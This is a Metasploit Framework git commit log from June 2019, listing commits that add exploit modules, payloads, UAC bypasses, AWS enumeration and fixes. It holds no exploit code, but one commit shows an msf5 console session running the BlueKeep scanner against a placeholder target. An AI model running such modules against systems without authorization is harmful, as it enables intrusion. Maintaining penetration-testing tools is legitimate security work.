William Vu 4bf5e6c53f Land #12014, nil bug fix for HttpServer#get_uri 2019-06-28 12:32:19 -05:00
Metasploit a3a77f8d4b automatic module_metadata_base.json update 2019-06-28 10:20:01 -07:00
William Vu 49176a3606 Land #11952, Supra Smart Cloud TV RFI module 2019-06-28 12:12:15 -05:00
William Vu baa17290e4 Adjust name :) 2019-06-28 12:08:27 -05:00
Metasploit 354da811ec automatic module_metadata_base.json update 2019-06-28 09:42:39 -07:00
asoto-r7 21dd1091fe Land #12025, Fix sshexec hanging on exec! and blocking close 2019-06-28 11:15:06 -05:00
asoto-r7 45c8c04834 Updated json_to_mdm_object() calls, removing third parameter 2019-06-28 10:18:00 -05:00
Dhiraj Mishra 09d6ae3458 Removing comments
Thanks wvu-r7 for your support.
2019-06-28 16:17:08 +05:30
Dhiraj Mishra 3279c66721 Adding documentation 2019-06-28 15:57:59 +05:30
William Vu d7a5eae146 Fix bug, adjust prints, and check body for "OK" 2019-06-28 04:12:57 -05:00
Metasploit c0f8e7cea6 automatic module_metadata_base.json update 2019-06-27 20:12:41 -07:00
William Vu 7a26e1c257 Fix sshexec hanging on exec! and blocking close 2019-06-27 22:07:37 -05:00
William Vu 51630839ba Land #12022, LoginScanner/PASSWORD_SPRAY fix 2019-06-27 21:56:28 -05:00
William Vu 744a1dca75 Add the ability to display previous search results 2019-06-27 21:27:20 -05:00
William Vu dc81adb417 Add GatherProof advanced option to ssh_login* 2019-06-27 21:04:20 -05:00
William Vu 0a10d41250 Add skip_gather_proof to LoginScanner::SSH 2019-06-27 21:00:29 -05:00
James Barnett 2ed8e6db97 Deregister PASSWORD_SPRAY option for LoginScanner modules 2019-06-27 17:06:32 -05:00
asoto-r7 8d63d2bbf7 pingback: Removing seemingly unnecessary 'generate_raw' method 2019-06-27 16:02:00 -05:00
asoto-r7 229e46f8cb cmd/unix/pingback_bind: Add resiliency to netcat, per wvu's suggestion 2019-06-27 15:48:22 -05:00
Metasploit fcd77b1314 Bump version of framework to 5.0.35 2019-06-27 11:41:42 -07:00
Metasploit 58e36b6e51 Bump version of framework to 5.0.34 2019-06-27 10:04:44 -07:00
Metasploit 774eaa0029 automatic module_metadata_base.json update 2019-06-27 10:02:29 -07:00
William Vu 1503dcd168 Land #11997, SilentCleanup UAC bypass 2019-06-27 11:52:56 -05:00
Metasploit 6c7e08c8fc automatic module_metadata_base.json update 2019-06-27 09:45:39 -07:00
William Vu 6f1aaac70e Add enigma0x3 and fix nyshone69 researchers 2019-06-27 11:38:34 -05:00
asoto-r7 26cd53efb6 Land #11977, AWS EC2, S3, and IAM Enumeration 2019-06-27 11:29:05 -05:00
William Vu 7b0aac72ec Fix missing is_in_admin_group? method
This was missed in the refactor, since admin_group was removed.
2019-06-27 11:16:49 -05:00
asoto-r7 7de8d76beb Fixed merge conflict with Gemfile.lock 2019-06-27 11:15:55 -05:00
Metasploit 76f907c3a4 automatic module_metadata_base.json update 2019-06-26 23:56:48 -07:00
William Vu 56a620c64a Land #12019, typo fix for bypassuac_sluihijack 2019-06-27 01:47:25 -05:00
asoto-r7 ac835e139e Pingback: Addressed some comments and suggestions 2019-06-26 16:55:45 -05:00
Jeff McJunkin 2927fd5dc8 Update bypassuac_sluihijack: Fix typo 2019-06-26 14:25:32 -07:00
asoto-r7 18f62926ce Updated Gemfile.lock 2019-06-26 16:00:46 -05:00
asoto-r7 ec9bbfa5ae Documentation for all three AWS enum_* modules 2019-06-26 14:59:22 -05:00
asoto-r7 0c83e55b00 enum_iam: Update 'Console Login' output to accurately reflect Disabled status 2019-06-26 14:57:32 -05:00
Shelby Pace 258f631f84 remove echo cmdstagerflavor 2019-06-26 13:56:13 -05:00
Shelby Pace 2f29c914ab add changes, remove db backup delete code 2019-06-26 13:48:14 -05:00
Metasploit e5868170fd automatic module_metadata_base.json update 2019-06-26 10:35:25 -07:00
William Vu 61f09d0538 Land #12017, xdebug_unauth_exec nil fix 2019-06-26 12:26:30 -05:00
Metasploit 11ef19d264 automatic module_metadata_base.json update 2019-06-26 09:23:41 -07:00
William Vu a1a630b7af Land #12018, Pen Test Partners reference for RV130 2019-06-26 11:13:39 -05:00
William Vu cc3fd747aa Add Pen Test Partners reference
Did we somehow miss this?
2019-06-26 11:05:22 -05:00
Jacob Robles efc61a4934 Use cmdstager 2019-06-26 10:15:25 -05:00
Jacob Robles 7c3e566a23 Update check
Handle nil error code and fix version extraction based
on both of the possible Apache Tika return pages.
2019-06-26 10:15:25 -05:00
Patrick Webster 8d6f36e05c Minor fix for xdebug_unauth_exec
Avoid triggering error where res.headers may not exist.
2019-06-27 01:00:49 +10:00
William Vu 59d75a1658 Land #12015, dcerpc_getarch documentation fix 2019-06-26 02:44:07 -05:00
William Vu 9fe138e3dc Remove misleading comment from dcerpc_getarch
I transferred my implementation. I don't understand this comment.
2019-06-26 02:40:16 -05:00
William Vu 933b5f0413 Tidy up send_request_cgi 2019-06-26 00:59:53 -05:00
William Vu 00530031fd Try not encoding the GET parameters 2019-06-26 00:55:23 -05:00
William Vu f3b509a1bc Implement on_request_uri 2019-06-25 23:47:19 -05:00
William Vu fe11eabe62 Merge remote-tracking branch 'upstream/master' into pr/11952 2019-06-25 23:47:06 -05:00
William Vu 01b308fe7c Fix get_resource nil bug in HttpServer#get_uri 2019-06-25 23:10:50 -05:00
asoto-r7 0c92c69e95 Initial enum_s3 documentation 2019-06-25 18:07:03 -05:00
Wei Chen b59fd4331b Update documentation 2019-06-25 17:14:10 -05:00
Wei Chen 2fb129ad41 Allow check in exploit to be optional 2019-06-25 17:13:55 -05:00
asoto-r7 84b6f05947 Fix 'bucket' typo 2019-06-25 16:35:44 -05:00
Metasploit b672412aeb automatic module_metadata_base.json update 2019-06-25 14:32:35 -07:00
Wei Chen 685fb55179 Land #11987, Add Nagios XI 5.5.6 magpie_debug Root Exploit 2019-06-25 16:17:50 -05:00
Wei Chen 01c49f22fb Change doc name 2019-06-25 16:16:32 -05:00
Wei Chen 23dbc4d90d Change file name 2019-06-25 16:10:44 -05:00
Wei Chen e9fc9970ba Make names more random. Also, make metadata changes 2019-06-25 16:09:15 -05:00
asoto-r7 de97615e9d Land #12013, Make SRVHOST the callback address in confluence_widget_connector 2019-06-25 16:06:37 -05:00
Metasploit 29d9f3ea28 Bump version of framework to 5.0.33 2019-06-25 13:08:28 -07:00
Metasploit 07cb5c5e10 Bump version of framework to 5.0.32 2019-06-25 12:57:14 -07:00
William Vu 5c14aea1a0 Fix target_platform check (it's empty, not nil) 2019-06-25 12:56:36 -05:00
William Vu cf140f0840 Make SRVHOST the callback address 2019-06-25 12:43:04 -05:00
Shelby Pace 2af76c1997 add documentation and finished module 2019-06-25 11:21:15 -05:00
Metasploit dae98d27d7 automatic module_metadata_base.json update 2019-06-24 23:05:38 -07:00
William Vu 77395749da s/infinite/indefinite/ 2019-06-25 01:00:08 -05:00
William Vu 44ad25ae34 Land #12008, struts2_content_type_ognl 302 fix 2019-06-25 00:40:58 -05:00
Carter Brainerd 5e8b076714 Final review changes 2019-06-25 07:21:08 +02:00
James Lee 303bfaa7eb Don't worry about response code
I found one that returned a 302
2019-06-24 13:53:31 -05:00
William Vu 7739e9f43e Update my modules 2019-06-24 13:38:14 -05:00
Jacob Robles 8be8aa603c Adjust logic
Early return to reduce nesting ifs
2019-06-24 12:43:26 -05:00
Jacob Robles 3d143f366c Remove LIMIT and adjust quotes 2019-06-24 12:40:01 -05:00
William Vu b49fa29a7f Allow true zero-second timeout in send_request_*
Also fixes a bogus response when timeout is nil.
2019-06-24 12:07:24 -05:00
yaumn 9e056601eb Exploits now also works with netcat 2019-06-24 08:11:13 +01:00
Metasploit 6a55227c56 automatic module_metadata_base.json update 2019-06-22 00:52:07 -07:00
William Vu 1f5137fcb6 Land #11996, ZDI reference for rails_double_tap 2019-06-22 02:34:14 -05:00
Carter Brainerd d2dc5f6077 Review changes 2019-06-22 00:18:44 -04:00
Shelby Pace 54aff89563 add requests to create, remove, clean db backups 2019-06-21 16:00:56 -05:00
yaumn 6b39bec4fc Add netcat method (still buggy though) 2019-06-20 23:21:19 +01:00
Carter Brainerd d90dba5d6e Hopefully final msftidy fixes 2019-06-20 17:03:38 -04:00
Carter Brainerd 679f55d0c5 Docs cleanup 2019-06-20 17:02:02 -04:00
asoto-r7 fa5cdb6ff3 Remove unecessary gems (we might add them back later) 2019-06-20 15:09:25 -05:00
asoto-r7 358ff635dd Renamed modules per @wvu's offline suggestion 2019-06-20 15:08:30 -05:00
Shelby Pace e43fc2d921 added skeleton, check method 2019-06-20 14:05:41 -05:00
Carter Brainerd 96b499080c Add docs 2019-06-20 15:01:53 -04:00
Carter Brainerd 1a877abe09 Msftidy was not happy 2019-06-20 14:50:56 -04:00
Carter Brainerd 534e2bc405 Make the darn thing work 2019-06-20 14:40:46 -04:00
Carter Brainerd fded7fb922 Create bypassuac_silentcleanup.rb 2019-06-20 13:53:54 -04:00
Metasploit 8244457b33 Bump version of framework to 5.0.31 2019-06-20 10:05:48 -07:00
Guillaume Andre c8786e181f First version of the exploit is now working
Change-Id: Idf6b6d773cf71c477fe68885313f5f98d74d9c11
2019-06-20 16:53:43 +01:00
Wei Chen 8920152eca Add a ZDI reference for CVE-2019-5420 Rails exploit 2019-06-20 10:43:21 -05:00
NickTyrer 5a010e1446 update documentation 2019-06-20 16:07:25 +01:00
Guillaume Andre c1cf728507 First commit
Change-Id: If751eb1753fc8991fe7971c7123a203734396a46
2019-06-20 12:17:38 +01:00
Shelby Pace d818a27a7c added check, path for diaghub exploit 2019-06-19 16:14:02 -05:00
Shelby Pace d3cd1a3fa0 added VS2013 compiled executables 2019-06-19 15:19:00 -05:00
Metasploit 4fa6fb8db9 automatic module_metadata_base.json update 2019-06-19 12:52:21 -07:00
Jeffrey Martin e1b982dfa9 Land #11993, Explicitly require 'rc4' in the BlueKeep scanner. 2019-06-19 14:42:01 -05:00
Jeffrey Martin e98e69fb80 add automation tests for bluekeep server targets 2019-06-19 13:54:14 -05:00
Metasploit fba601b584 automatic module_metadata_base.json update 2019-06-19 09:07:26 -07:00
Wei Chen a93a520c3a Land #11960, Add LPE for Cisco Prime Infrastructure's runrshell exe 2019-06-19 10:49:17 -05:00
Wei Chen c637755ebd Land #11956 - Add Cisco Prime Infrastructure Health Monitor Tar RCE 2019-06-19 10:46:35 -05:00
Metasploit a61401b1f8 automatic module_metadata_base.json update 2019-06-19 06:57:30 -07:00
Shelby Pace 4d7d807025 Land #11983, add Webmin package update rce 2019-06-19 08:35:01 -05:00
Shelby Pace ddf7eadeee modified version check 2019-06-19 08:31:48 -05:00
Pearce Barry 3f0810502e Explicitly require 'rc4' in the BlueKeep scanner.
Appears to still operate as-expected:

	msf5 > use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
	msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > set rhosts <target>
	rhosts => <target>
	msf5 auxiliary(scanner/rdp/cve_2019_0708_bluekeep) > run

	[+] <target>:3389      - The target is vulnerable.
	[*] <target>:3389 - Scanned 1 of 1 hosts (100% complete)
	[*] Auxiliary module execution completed

Fixes MS-4291.
2019-06-19 08:27:04 -05:00
Wei Chen 0cec80ba24 update doc 2019-06-18 21:34:16 -05:00
Jacob Robles efeb0a5f5c Land #11971, zip extraction from modbus pcap 2019-06-18 16:25:27 -05:00
Wei Chen 384cfc7db5 update checkcode 2019-06-18 15:58:57 -05:00
Wei Chen 16cfd3f4ac Fix typos 2019-06-18 15:49:40 -05:00
Wei Chen 4a32164370 Add doc for CVE-2019-0232 2019-06-18 15:28:42 -05:00
Wei Chen 585a4340b2 Add exploit for CVE-2019-0232: Apache Tomcat CGIServlet RCE 2019-06-18 15:28:11 -05:00
Jacob Robles 2873284323 Doc updates 2019-06-18 14:28:43 -05:00
Jacob Robles 4d1bd60853 Update documentation 2019-06-18 14:16:34 -05:00
Jacob Robles 66c3c6a94b Remove unused mixin, update save loot logic
Capture mixin was not used. Loot was being
saved when a zip file wasn't found. Updated
file path so the module is under analyze.
2019-06-18 14:08:47 -05:00
Özkan Mustafa Akkuş 992a638a79 Merge pull request #1 from space-r7/pr11983
Add minor module changes
2019-06-18 09:58:20 +03:00
Chris Higgins ceba93e84e Land #11904, fix meterpreter screenshot dll upload 2019-06-17 23:36:29 -05:00
asoto-r7 36eeba4e37 Address code review from @jrobles-r7. Thanks! 2019-06-17 16:19:45 -05:00
yaumn 8723775564 Add a module documentation file 2019-06-17 21:50:03 +01:00
Shelby Pace d4d2eab770 removed some whitespace, added a check 2019-06-17 15:29:08 -05:00
asoto-r7 850951e261 Fix a bug in MFA output, and also try to fix Travis complaintsy 2019-06-17 15:01:51 -05:00
Özkan Mustafa Akkuş a5020b8f30 Fix spaces at EOL 2019-06-17 13:16:56 +03:00
Özkan Mustafa Akkuş b5e34cb783 Converting version check request to vars_get
We also need to add the "testing = 1" cookie to the login request. Otherwise, the browser displays a No-Cookie error.
2019-06-17 10:46:46 +03:00
yaumn e13456ce0d Add root to the filename 2019-06-16 23:32:57 +01:00
siberguvenlik 17f686a87d Adding module documentation 2019-06-16 18:27:01 -04:00
yaumn 8faa138289 Change targets and default http delay 2019-06-16 23:13:45 +01:00
siberguvenlik 3d463a1e20 Adding correction of Check and Payload definitions 2019-06-16 17:58:31 -04:00
yaumn 863beaea92 First commit for module Nagios XI RCE 2019-06-16 22:10:32 +01:00
siberguvenlik 414c614b55 CVE-2019-12840 - Add Webmin 1.910 RCE Module 2019-06-16 11:26:00 -04:00
NickTyrer 791da38fe4 update instructions 2019-06-16 11:39:03 +01:00
NickTyrer b7137ea426 update module flow 2019-06-15 20:03:17 +01:00
NickTyrer 46ebae8231 implemented rubocop suggestions 2019-06-15 11:06:38 +01:00
Metasploit eb8e0e238d automatic module_metadata_base.json update 2019-06-14 19:47:04 -07:00
William Vu 379caff828 Land #11932, TLS and doc'd packets for BlueKeep 2019-06-14 21:10:08 -05:00
William Vu 3d8b474632 Clean up module 2019-06-14 21:09:57 -05:00
William Vu 282e2b3d78 Land #11979, missing bind_tcp_rc4 tests 2019-06-14 20:57:56 -05:00
Jeffrey Martin b6aa04bbe4 add missing bind_tcp_rc4 payload tests 2019-06-14 16:18:31 -05:00
bwatters-r7 b67b48fd50 Land #11966, Stop error rendering in multi/meterpreter handler
Merge branch 'land-11966' into upstream-master
2019-06-14 14:01:58 -05:00
jdiog0 6646295d51 modbus zip
Co-Authored-By: @shellfail <jrobles@rapid7.com>
2019-06-14 19:27:54 +01:00
asoto-r7 e2d4dc5f41 Initial concept for AWS IAM enumeration 2019-06-14 13:23:20 -05:00
asoto-r7 1d800a5d9a Move error handling method up, in preparation for making a library, maybe 2019-06-13 18:40:34 -05:00
asoto-r7 54a17e0a51 Initial concept for AWS S3 enumeration 2019-06-13 18:40:16 -05:00
Tim W 3338401708 fix #11975, fix meterpreter shell command on android 2019-06-14 06:01:53 +08:00
Adam Cammack 1f6d61dde8 Land #11965, Add secure Meterpreter command
The command will force or renegotiate TLV encryption on the for the
current session.
2019-06-13 14:20:50 -05:00
Metasploit a2b29de2f7 automatic module_metadata_base.json update 2019-06-13 12:12:49 -07:00
bwatters-r7 b9cefe1b79 Land #11958, abrt_raceabrt_priv_esc: Fix abrt package version check
Merge branch 'land-11958' into upstream-master
2019-06-13 14:02:15 -05:00
Metasploit 1789ca21eb automatic module_metadata_base.json update 2019-06-13 10:30:03 -07:00
bwatters-r7 aed504c0a9 Land #11944, Implement bind TCP with RC4 decryption for x64
Merge branch 'land-11944' into upstream-master
2019-06-13 12:09:31 -05:00
Metasploit 644a70ff15 Bump version of framework to 5.0.30 2019-06-13 10:07:30 -07:00
William Vu dfd74107c0 Land #11974, full path in pgrep -lf output 2019-06-13 10:48:47 -05:00
William Vu bcee6f0dc2 Join full path nicely 2019-06-13 10:30:36 -05:00
bwatters-r7 805d64428f Stupid pry... 2019-06-13 10:27:29 -05:00
bwatters-r7 a11d6221d9 Update the session to die after callback
Remove stale old file
2019-06-13 09:08:14 -05:00
William Vu 8e6fbcb4b5 Concatenate path and name in Meterpreter pgrep -lf 2019-06-12 19:13:02 -05:00
Brent Cook f11a205b41 remove patchupdllinject 2019-06-12 17:39:56 -05:00
William Vu 2d14966b0b Land #11963, kill command help correction 2019-06-12 11:00:38 -05:00
Tom Sellers a2863ff3cf Add comment to pdu_connect_initial 2019-06-12 10:46:12 -05:00
Tom Sellers 008f9061f6 Randomize client random, sanity check fields 2019-06-12 07:49:45 -05:00
asoto-r7 f96de95acc Initial concept for AWS EC2 enumeration 2019-06-11 19:10:59 -05:00
Brent Cook c13cf63f2d remove dllinject 2019-06-11 17:58:57 -05:00
Tom Sellers f4aa86c9b3 rubocop cleanup 2019-06-11 13:29:05 -05:00
asoto-r7 6f65f38943 Revert f162822 2019-06-11 13:23:58 -05:00
Metasploit b1793f2d50 automatic module_metadata_base.json update 2019-06-11 11:14:07 -07:00
Tom Sellers cc93b312ac Add ability to configure username, client, IP, etc 2019-06-11 13:07:59 -05:00
Brent Cook fa09b239e8 Land #11941, add support for module aliases 2019-06-11 12:57:01 -05:00
Brent Cook 20d21bb7cc update specs, add a few more compat modules 2019-06-11 12:56:11 -05:00
Metasploit c79d86e562 automatic module_metadata_base.json update 2019-06-11 07:49:47 -07:00
Matthew Kienow c80f6f9141 Land #11970, Correct Websphere module CVE ref 2019-06-11 10:30:10 -04:00
Matthew Kienow d91459f2eb Correct module CVE reference 2019-06-11 09:14:40 -04:00
Brent Cook 4d6e0e9892 https 2019-06-11 04:48:52 -05:00
Brent Cook 44dfc3506d add udpsockedi, tag compatible payloads
Not all payloads compatible with TCP stagers are compatible with UDP
stagers, so assuming sockedi is not sufficient to ensure compatibility.
This adds a udpsockedi which pairs compatible payloads together.
2019-06-11 04:19:14 -05:00
OJ 5621d200cc Stop error rendering in multi/meterpreter
The reverse_http/s listeners result in awful errors when
multi/meterpreter is set as the payload. Anyone that hits the endpoint
with an invalid or missing UUID will spam the MSF console with
exceptions.

This patch avoids this issue in cases where the UUID isn't specific. We
avoid setting it as a default, which doesn't make sense anyway.
2019-06-11 13:39:52 +10:00
OJ 0e0edeb372 Add a secure command to renegotiate TLV encryption
This gives us the ability to force TLV encryption if for some reason
it's not already in place, and it means we can renegotiate a new key on
the fly if we want to.
2019-06-11 08:26:33 +10:00
William Vu 36cc535c8a Remove jobs options from kill help
They do not apply.
2019-06-10 16:29:14 -05:00
bwatters-r7 915149ad6d Reset send_uuid because it should not have been changed
remove debug print from options
change puts on pingback
2019-06-10 15:03:49 -05:00
Wei Chen 5c97c2fa19 Land #11951, Add meterpreter > screenshare command 2019-06-10 13:25:27 -05:00
Wei Chen d74881a3c0 Update based on bcole's feedback 2019-06-10 12:12:49 -05:00
Wei Chen caa9987a77 Register payload for cleanup 2019-06-10 11:20:25 -05:00
Wei Chen d63484562c Correct disclosure date 2019-06-10 11:14:41 -05:00
Wei Chen 12cfada465 Add Cisco Prime Infrastructure runrshell Privilege Escalation 2019-06-10 10:29:43 -05:00
Brendan Coles 8cac968acb Fix abrt package version check 2019-06-10 02:21:10 +00:00
Metasploit 361f9602a8 automatic module_metadata_base.json update 2019-06-08 11:50:58 -07:00
William Vu 6f16a44c8d Land #11957, CVE references for TrueOnline modules 2019-06-08 13:32:38 -05:00
Pedro Ribeiro 6693e3e347 add cve to trueonline v2 2019-06-08 17:41:04 +07:00
Pedro Ribeiro 903ea5ebce add cve to p660hn v1 2019-06-08 17:38:44 +07:00
Pedro Ribeiro c763f84348 add cve to billion module 2019-06-08 17:37:05 +07:00
Pedro Ribeiro 08258dd7ce Merge pull request #8 from rapid7/master
hhhh
2019-06-08 17:35:36 +07:00
Wei Chen 4d6d06c9f9 Update disclosure date 2019-06-07 15:59:59 -05:00
Brent Cook 83528b8bb1 Land #11798, Add Extended Passive Mode for FTP client
Merge remote-tracking branch 'upstream/pr/11798' into upstream-master
2019-06-07 15:09:23 -05:00
Metasploit 3a77e3454e automatic module_metadata_base.json update 2019-06-07 13:05:35 -07:00
Wei Chen 2053513dc5 Minotr update for cpi_tararchive_upload 2019-06-07 13:12:14 -05:00
Wei Chen 1968e0d009 Add module doc for Cisco TarArchive exploit 2019-06-07 13:09:28 -05:00
William Vu a8867992ae Add minimal HttpServer support 2019-06-07 11:53:47 -05:00
William Vu d943b4d314 Fix style 2019-06-07 11:44:17 -05:00
William Vu be6a34398a Rename module to match product 2019-06-07 11:33:10 -05:00
William Vu 9e47e061f2 Remove rank to appease msftidy 2019-06-07 11:28:39 -05:00
Brent Cook 3f5f48a3fc Land #11340, make SSH agent and other options configurable 2019-06-07 11:22:31 -05:00
William Vu 397e6b16a4 Move aux module out of exploits 2019-06-07 11:18:33 -05:00
Metasploit da6a225ef8 Bump version of framework to 5.0.29 2019-06-07 09:03:32 -07:00
NickTyrer 45db30bd90 increase randomness to avoid duplicates 2019-06-07 15:02:47 +01:00
Brent Cook 5aed1f7dfe Land #11914, Fix external file import via web service 2019-06-07 06:03:42 -05:00
Wei Chen 69492d2a25 Add Cisco Prime Infrastructure Health Monitor TarArchive Exploit 2019-06-07 03:08:57 -05:00
William Vu a1038bf9a8 Land #11954, Retina XML importer fixes and updates 2019-06-07 00:40:28 -05:00
William Vu dd101a0469 Add nil check
Just in case.
2019-06-07 00:16:44 -05:00
William Vu 53ea7e577f Add sanitized new XML format 2019-06-07 00:07:50 -05:00
William Vu 10dccfcedb Remove warning
<context> provides service info now:

<context>TCP:443 ([redacted]), SHA256[=][redacted], Serial[=][redacted]</context>
2019-06-06 23:45:07 -05:00
William Vu 40eeae541b Fix style 2019-06-06 23:38:41 -05:00
Jeffrey Martin f646a973a7 Update retina imports to better handle parsing 2019-06-06 19:13:06 -05:00
Shelby Pace 5b188a02ba add code that makes hard links 2019-06-06 15:59:53 -05:00
Shelby Pace 76ef689827 add hard link creation code 2019-06-06 15:58:44 -05:00
James Barnett 37414b5760 Land #11948, surface errors returned from remote data service in console 2019-06-06 12:40:42 -05:00
William Vu b020e3232b Move warning suppression 2019-06-06 12:33:54 -05:00
Metasploit 614c1afc41 Bump version of framework to 5.0.28 2019-06-06 10:07:53 -07:00
William Vu 19bd0f2183 Add comments 2019-06-06 10:50:26 -05:00
Dhiraj Mishra 6333271320 supra_smart_tv_rfi 2019-06-06 16:17:28 +05:30
Tim W 49ce878497 refactor html code into separate module 2019-06-06 13:39:53 +08:00
Metasploit e76fd32bc1 automatic module_metadata_base.json update 2019-06-05 13:30:30 -07:00
Jacob Robles af1afca1e3 Land #11940, Add files to test that may not be open 2019-06-05 15:03:33 -05:00
Adam Cammack 0516441549 Land #11949, Fix wordpress_content_injection CVE 2019-06-05 14:54:01 -05:00
Matthew Kienow 3c4699c848 Remove unnecessary leading slash from log message 2019-06-05 15:10:00 -04:00
Matthew Kienow 25f45144e8 Handle exceptions raised by get_msf_version call
Exceptions may be raised via the remote data service response handling
while making the call to check the MSF version.
2019-06-05 15:09:33 -04:00
Jacob Robles bf6a62fba8 Add workspace arg to spec 2019-06-05 08:47:13 -05:00
Clément Notin 69ab2154ad wordpress_content_injection: fix CVE number 2019-06-05 12:43:16 +02:00
asoto-r7 6d155a8573 Remove a left-over 'pry' debugger invocation 2019-06-04 17:52:03 -05:00
bwatters-r7 e8487b547f Should not have changed reverse_tcp.rb 2019-06-04 16:01:45 -05:00
asoto-r7 928e4679ae cmd/unix/pingback_* payloads now use 'printf' in place of 'echo' 2019-06-04 15:47:21 -05:00
asoto-r7 e9ef0b1c38 Remove workspace reference in async_callback database table 2019-06-04 15:12:31 -05:00
Metasploit 8c3d7b3900 automatic module_metadata_base.json update 2019-06-04 10:58:45 -07:00
Jacob Robles 9edf92434c Land #11895, CVE-2018-20434 LibreNMS cmd injection exploit 2019-06-04 12:28:24 -05:00
Metasploit 7366994f7b automatic module_metadata_base.json update 2019-06-04 10:26:24 -07:00
Jacob Robles c93c65cef5 Update date format 2019-06-04 12:24:00 -05:00
Matthew Kienow 749501d449 Refactor remote data service response handling
Raises exceptions for error responses rather than failing silently.
This exposes the server-side error message to the user in console.
2019-06-04 12:09:06 -05:00
Matthew Kienow 8fe11744bd Use the revised ResponseWrapper error classes 2019-06-04 11:59:00 -05:00
Matthew Kienow 52c67a6952 Modify ResponseWrapper to support three states
There is a success response, an error response and a failed response.
An error response contains a body with an error message from the
server-side, while a failed response represents an invalid response
caused by an issue with the request or response.
2019-06-04 11:56:12 -05:00
Jacob Robles c1572c89a8 Land #11841, IBM WAS Network Deployment RCE CVE-2019-4279 2019-06-04 11:49:05 -05:00
Jacob Robles 129bb898d8 Merge CMD Target Update 2019-06-04 11:47:28 -05:00
bwatters-r7 eff819b523 Land #11945, Make auto_cl more selective based on HTTP method
Merge branch 'land-11945' into upstream-master
2019-06-04 09:04:13 -05:00
Tom Sellers e15840f8db Add nil check for quick response 2019-06-04 08:36:58 -05:00
bwatters-r7 c28b15e9fe Land #11823, Handle invalid payloads more clearly
Merge branch 'land-11823' into upstream-master
2019-06-04 08:34:41 -05:00
Jacob Robles 8687a21f2d Fix workspace calls 2019-06-04 08:33:58 -05:00
bwatters-r7 cd182e2014 Land #11938, fix cmd_exec tests on python/windows
Merge branch 'land-11938' into upstream-master
2019-06-04 08:01:49 -05:00
bwatters-r7 bee013a18c update cache size and fix an assignment 2019-06-04 07:13:34 -05:00
Tom Sellers 6a8e4366ae Improve XP stabilty, trim dead code 2019-06-04 06:53:36 -05:00
Tom Sellers 9d17832347 Deal with virtual channel data blob 2019-06-04 05:49:45 -05:00
Brent Cook e5a4c2d341 Make auto_cl more selective based on HTTP method
According to https://tools.ietf.org/html/rfc7230#section-3.3.2, a zero content-length is valid for some kinds of HTTP methods.

Instead of implicitly disabling auto_cl if there is no actual content, disable auto_cl default for HTTP methods where semantics of the message do not anticipate any content. This can still be overridden by a caller if it still wants to add an empty content-length for HTTP methods where it does not normally make sense (e.g. if it exploits a bug.)
2019-06-04 04:04:08 -05:00
Metasploit d50cf542cf automatic module_metadata_base.json update 2019-06-03 23:13:42 -07:00
Wei Chen b8abb550e6 Land #11924, Update adobe_flash_opaque_background_uaf for Win 10 2019-06-04 00:51:34 -05:00
Wei Chen 191d73f3ef Update rex-exploitation 2019-06-04 00:40:01 -05:00
Metasploit 30a0f25eae automatic module_metadata_base.json update 2019-06-03 17:13:46 -07:00
Wei Chen 17170e2152 Land #11937, make content-length header optional 2019-06-03 18:56:27 -05:00
RageLtMan ff1630ad14 Implement bind TCP with RC4 decryption for x64
Update metasm generated shellcode blocks to cobble together an
RC4 decryption routine with a bind-socket handler for x64 targets.
Expose via new payload module
2019-06-03 18:06:53 -04:00
bwatters-r7 6f711dfab4 Land #11918, replace trivial usage of expand_path with getenv
Merge branch 'land-11918' into upstream-master
2019-06-03 16:59:39 -05:00
Tom Sellers b176948c3c Refactor more binary blobs 2019-06-03 16:54:33 -05:00
Adam Cammack deb31d77c3 Use the aliased name on instantiated modules
This creates a way for modules and the framework to see what name the
user entered to interact with a module.
2019-06-03 13:55:02 -05:00
Adam Cammack 2e36d90291 Add some less-verbose aliases
These aliases avoid duplicating the protocol in the module name.
2019-06-03 13:42:55 -05:00
Adam Cammack cf59022936 Add aliases to modules
This allows modules that can be addressed by name to register possible
aliases for themselves by defining an `Aliases` constant in the top
level of the module.
2019-06-03 13:40:27 -05:00
Adam Cammack c0d365aa46 Unify modules and cache with fullname method 2019-06-03 13:19:29 -05:00
Tom Sellers 61b5072e88 Add explicit check for NLA 2019-06-03 09:38:12 -05:00
Jacob Robles d466ac990d Use process_opts_workspace 2019-06-03 09:25:31 -05:00
Tom Sellers 5871dc0802 Fix nego when RDP Security is forced 2019-06-03 08:50:30 -05:00
bwatters-r7 e425547398 Add some files to the test that are not likely to be open 2019-06-03 08:25:46 -05:00
William Vu e11cc621ea Add ensures 2019-06-03 03:51:08 -05:00
suzu991154 cdce03f42d fix_os_check 2019-06-03 16:17:23 +09:00
sinn3r 22e8d3488d Land #11862, wordlists for wordpress plugin/theme directories
Add wordlists for enumerating WordPress plugin/theme directories
2019-06-03 00:54:43 -05:00
William Vu 7c83734592 Update LoginScanner::SSH modules 2019-06-02 20:08:27 -05:00
William Vu ad2ece1489 Actually set the client identification string 2019-06-02 20:01:04 -05:00
William Vu 2318100a12 Rename SSHVersion to SSH_IDENT for now
1. Not to be confused with protocol version
2. We'll want to CamelCase the advanced options
2019-06-02 18:26:25 -05:00
William Vu 586fe73699 Add Msf::Exploit::Remote::SSH::Options 2019-06-02 18:21:58 -05:00
William Vu f70eac785d Update comment 2019-06-02 17:04:31 -05:00
William Vu 3107339c6b Add prints 2019-06-02 17:02:07 -05:00
William Vu 776061cc28 Fix style again 2019-06-02 16:55:48 -05:00
William Vu 75f1f0e331 Revert method name 2019-06-02 16:54:03 -05:00
William Vu 44ac458407 Simplify error check 2019-06-02 16:53:02 -05:00
William Vu 1fc49b2e12 Fix style 2019-06-02 16:50:44 -05:00
William Vu eaa718f33a Add functionality to change Net::SSH ident string 2019-06-02 16:46:43 -05:00
Tim W cd460aa2cb fix cmd_exec tests on python/windows 2019-06-03 03:47:52 +08:00
Brent Cook 76aeeafe7b Land #11936, rename a few module docs 2019-06-02 13:54:03 -05:00
Brent Cook ba947eab20 another rename 2019-06-02 13:53:44 -05:00
Brent Cook 3cf375c05c if there is no content, don't include content length 2019-06-02 13:27:11 -05:00
Chris Higgins 6ffc6b9b18 Fix #11934, frontpage_credential_dump.md file move 2019-06-02 12:40:18 -05:00
Metasploit f70a56edcf automatic module_metadata_base.json update 2019-06-02 09:56:15 -07:00
Tim W b5bdc06c4c Land #11933, add default VID and cmd/unix support to post/multi/manage/play_youtube 2019-06-03 00:39:11 +08:00
William Vu 42082f0bcf Add unix platform 2019-06-02 11:31:43 -05:00
